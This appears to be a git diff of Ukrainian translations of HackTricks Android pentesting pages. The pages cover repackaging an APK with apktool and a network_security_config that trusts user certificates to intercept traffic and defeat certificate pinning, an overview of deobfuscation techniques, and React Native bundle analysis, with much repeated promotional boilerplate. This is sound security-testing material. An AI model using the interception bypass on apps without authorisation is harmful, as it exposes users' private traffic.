**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,33 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Зверніть увагу на: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди AWS HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Подивіться на: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Група з безпеки Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -20,19 +21,19 @@
|
|||
|
||||
***
|
||||
|
||||
Деякі додатки не приймають сертифікати, завантажені користувачем, тому для перевірки веб-трафіку деяких додатків нам доводиться декомпілювати додаток та додати кілька речей та знову скомпілювати його.
|
||||
Деякі програми не люблять сертифікати, завантажені користувачем, тому для перевірки веб-трафіку для деяких додатків нам насправді потрібно декомпілювати додаток, додати кілька речей і знову скомпілювати його.
|
||||
|
||||
# Автоматично
|
||||
|
||||
Інструмент [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **автоматично** внесе необхідні зміни до додатка для початку захоплення запитів та також вимкне перевірку сертифікатів (якщо вона є).
|
||||
Інструмент [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **автоматично** внесе необхідні зміни в додаток, щоб почати захоплювати запити, а також вимкне прив'язку сертифікатів (якщо така є).
|
||||
|
||||
# Вручну
|
||||
|
||||
Спочатку ми декомпілюємо додаток: `apktool d *ім'я-файлу*.apk`
|
||||
Спочатку ми декомпілюємо додаток: `apktool d *file-name*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Потім ми переходимо до файлу **Manifest.xml** та прокручуємо до тегу `<\application android>` та додаємо наступний рядок, якщо його ще там немає:
|
||||
Потім ми переходимо до файлу **Manifest.xml** і прокручуємо вниз до тегу `<\application android>` і додамо наступний рядок, якщо його ще немає:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -44,7 +45,7 @@
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Тепер перейдіть до папки **res/xml** та створіть/змініть файл з назвою network\_security\_config.xml з наступним вмістом:
|
||||
Тепер перейдіть до папки **res/xml** і створіть/змініть файл з назвою network\_security\_config.xml з наступним вмістом:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -57,11 +58,11 @@
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Потім збережіть файл та вийдіть з усіх каталогів та перебудуйте apk за допомогою наступної команди: `apktool b *ім'я-папки/* -o *вихідний-файл.apk*`
|
||||
Тоді збережіть файл і вийдіть з усіх директорій, а потім знову зберіть apk за допомогою наступної команди: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
![](../../.gitbook/assets/img12.png)
|
||||
|
||||
Нарешті, вам потрібно лише **підписати нову програму**. [Прочитайте цей розділ сторінки Smali - Decompiling/\[Modifying\]/Compiling, щоб дізнатися, як її підписати](smali-changes.md#sing-the-new-apk).
|
||||
Нарешті, вам просто потрібно **підписати новий додаток**. [Прочитайте цей розділ сторінки Smali - Декомпіляція/\[Модифікація\]/Компіліція, щоб дізнатися, як його підписати](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -71,14 +72,14 @@
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Вивчайте хакінг AWS з нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
Інші способи підтримати HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Якщо ви хочете, щоб вашу **компанію рекламували в HackTricks** або **завантажити HackTricks у PDF** перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційні товари PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Діліться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,63 +1,50 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Техніки ручного розшифрування**
|
||||
## Ручні **Техніки Деобфускації**
|
||||
|
||||
У сфері **безпеки програмного забезпечення** процес роблення зрозумілим зашифрованого коду, відомий як **розшифрування**, є важливим. Цей посібник досліджує різні стратегії розшифрування, зосереджуючись на техніках статичного аналізу та визначенні шаблонів шифрування. Крім того, він вводить вправу для практичного застосування та пропонує додаткові ресурси для тих, хто зацікавлений у дослідженні більш складних тем.
|
||||
У сфері **безпеки програмного забезпечення** процес перетворення зашифрованого коду в зрозумілий, відомий як **деобфускація**, є критично важливим. Цей посібник розглядає різні стратегії деобфускації, зосереджуючи увагу на техніках статичного аналізу та розпізнаванні патернів обфускації. Крім того, він пропонує вправу для практичного застосування та рекомендує додаткові ресурси для тих, хто зацікавлений у вивченні більш складних тем.
|
||||
|
||||
### **Стратегії для статичного розшифрування**
|
||||
### **Стратегії Статичної Деобфускації**
|
||||
|
||||
При роботі з **зашифрованим кодом** можна використовувати кілька стратегій в залежності від характеру шифрування:
|
||||
При роботі з **обфускованим кодом** можна використовувати кілька стратегій залежно від природи обфускації:
|
||||
|
||||
- **Байткод DEX (Java)**: Один з ефективних підходів полягає в ідентифікації методів розшифрування додатка, а потім відтворенні цих методів у файлі Java. Цей файл виконується для розшифрування цільових елементів.
|
||||
- **Java та власний код**: Інший метод - переклад алгоритму розшифрування в мову сценаріїв, таку як Python. Ця стратегія підкреслює, що основною метою є не повністю зрозуміти алгоритм, а ефективно виконати його.
|
||||
- **DEX байт-код (Java)**: Один із ефективних підходів полягає в ідентифікації методів деобфускації програми, а потім у відтворенні цих методів у Java-файлі. Цей файл виконується для скасування обфускації на цільових елементах.
|
||||
- **Java та Нативний Код**: Інший метод полягає в перекладі алгоритму деобфускації на мову сценаріїв, таку як Python. Ця стратегія підкреслює, що основна мета полягає не в повному розумінні алгоритму, а в його ефективному виконанні.
|
||||
|
||||
### **Визначення шифрування**
|
||||
### **Ідентифікація Обфускації**
|
||||
|
||||
Визначення зашифрованого коду - перший крок у процесі розшифрування. Ключові показники включають:
|
||||
Визнання обфускованого коду є першим кроком у процесі деобфускації. Ключові ознаки включають:
|
||||
|
||||
- **Відсутність або перемішування рядків** в Java та Android, що може вказувати на шифрування рядків.
|
||||
- **Наявність бінарних файлів** в каталозі ресурсів або виклики до `DexClassLoader`, що вказує на розпакування коду та динамічне завантаження.
|
||||
- Використання **власних бібліотек поряд з невідомими функціями JNI**, що вказує на можливе шифрування власних методів.
|
||||
- **відсутність або сплутування рядків** у Java та Android, що може свідчити про обфускацію рядків.
|
||||
- **наявність бінарних файлів** у каталозі активів або викликів до `DexClassLoader`, що натякає на розпакування коду та динамічне завантаження.
|
||||
- Використання **нативних бібліотек разом з невизначеними функціями JNI**, що вказує на потенційну обфускацію нативних методів.
|
||||
|
||||
## **Динамічний аналіз у розшифруванні**
|
||||
## **Динамічний Аналіз у Деобфускації**
|
||||
|
||||
Запускаючи код у контрольованому середовищі, динамічний аналіз **дозволяє спостерігати, як веде себе зашифрований код в реальному часі**. Цей метод особливо ефективний у виявленні внутрішніх процесів складних шаблонів шифрування, які призначені приховати справжні наміри коду.
|
||||
Виконуючи код у контрольованому середовищі, динамічний аналіз **дозволяє спостерігати, як обфускований код поводиться в реальному часі**. Цей метод особливо ефективний для виявлення внутрішніх механізмів складних патернів обфускації, які призначені для приховування справжнього наміру коду.
|
||||
|
||||
### **Застосування динамічного аналізу**
|
||||
### **Застосування Динамічного Аналізу**
|
||||
|
||||
- **Розшифрування під час виконання**: Багато технік шифрування включають шифрування рядків або кодових сегментів, які розшифровуються лише під час виконання. За допомогою динамічного аналізу ці зашифровані елементи можна зафіксувати в момент розшифрування, розкриваючи їх справжній вигляд.
|
||||
- **Визначення технік шифрування**: Шляхом моніторингу поведінки додатка динамічний аналіз може допомогти визначити конкретні техніки шифрування, такі як віртуалізація коду, упаковувальники або динамічне створення коду.
|
||||
- **Розкриття прихованої функціональності**: Зашифрований код може містити приховані функціональності, які не є очевидними лише через статичний аналіз. Динамічний аналіз дозволяє спостерігати всі шляхи коду, включаючи ті, які виконуються умовно, для виявлення такої прихованої функціональності.
|
||||
- **Дешифрування в Часі Виконання**: Багато технік обфускації передбачають шифрування рядків або сегментів коду, які дешифруються лише під час виконання. Завдяки динамічному аналізу ці зашифровані елементи можуть бути захоплені в момент дешифрування, розкриваючи їх справжню форму.
|
||||
- **Ідентифікація Технік Обфускації**: Спостерігаючи за поведінкою програми, динамічний аналіз може допомогти виявити конкретні техніки обфускації, що використовуються, такі як віртуалізація коду, пакувальники або динамічна генерація коду.
|
||||
- **Виявлення Схованої Функціональності**: Обфускований код може містити приховані функціональності, які не є очевидними лише через статичний аналіз. Динамічний аналіз дозволяє спостерігати всі шляхи коду, включаючи ті, що виконуються умовно, щоб виявити такі приховані функціональності.
|
||||
|
||||
## Посилання та Додаткова Інформація
|
||||
## Посилання та Додаткове Читання
|
||||
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
|
||||
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[відео](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Ця презентація розглядає зворотне проектування однієї з найскладніших антианалітичних власних бібліотек, яку я бачив, використовуваної в додатку для Android. Вона в основному охоплює техніки обфускації в власному коді.
|
||||
* REcon 2019: “The Path to the Payload: Android Edition” \[[відео](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Ця презентація обговорює серію технік обфускації, використовуваних виключно в коді Java, які використовував ботнет для Android для приховування своєї поведінки.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
|
||||
</details>
|
||||
* BlackHat USA 2018: “Розпакування упакованого розпаковувача: зворотне проектування бібліотеки Android Anti-Analysis” \[[відео](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
|
||||
* Ця доповідь охоплює зворотне проектування однієї з найскладніших бібліотек нативного анти-аналізу, які я бачив, що використовуються Android-додатком. Вона в основному охоплює техніки обфускації в нативному коді.
|
||||
* REcon 2019: “Шлях до Payload: Android Edition” \[[відео](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)]
|
||||
* Ця доповідь обговорює серію технік обфускації, виключно в Java-коді, які використовував Android-ботнет для приховування своєї поведінки.
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Аналіз додатка на React Native
|
||||
# Аналіз додатків React Native
|
||||
|
||||
Щоб підтвердити, що додаток побудований на фреймворку React Native, виконайте наступні кроки:
|
||||
Щоб підтвердити, чи була програма створена на основі фреймворку React Native, виконайте ці кроки:
|
||||
|
||||
1. Перейменуйте файл APK з розширенням zip та розпакуйте його в нову папку за допомогою команди `cp com.example.apk example-apk.zip` та `unzip -qq example-apk.zip -d ReactNative`.
|
||||
1. Перейменуйте файл APK з розширенням zip і витягніть його в нову папку, використовуючи команду `cp com.example.apk example-apk.zip` та `unzip -qq example-apk.zip -d ReactNative`.
|
||||
|
||||
2. Перейдіть до новоствореної папки ReactNative та знайдіть папку assets. У цій папці ви повинні знайти файл `index.android.bundle`, який містить JavaScript React у мініфікованому форматі.
|
||||
2. Перейдіть до новоствореної папки ReactNative і знайдіть папку assets. Усередині цієї папки ви повинні знайти файл `index.android.bundle`, який містить React JavaScript у мінімізованому форматі.
|
||||
|
||||
3. Використовуйте команду `find . -print | grep -i ".bundle$"` для пошуку файлу JavaScript.
|
||||
|
||||
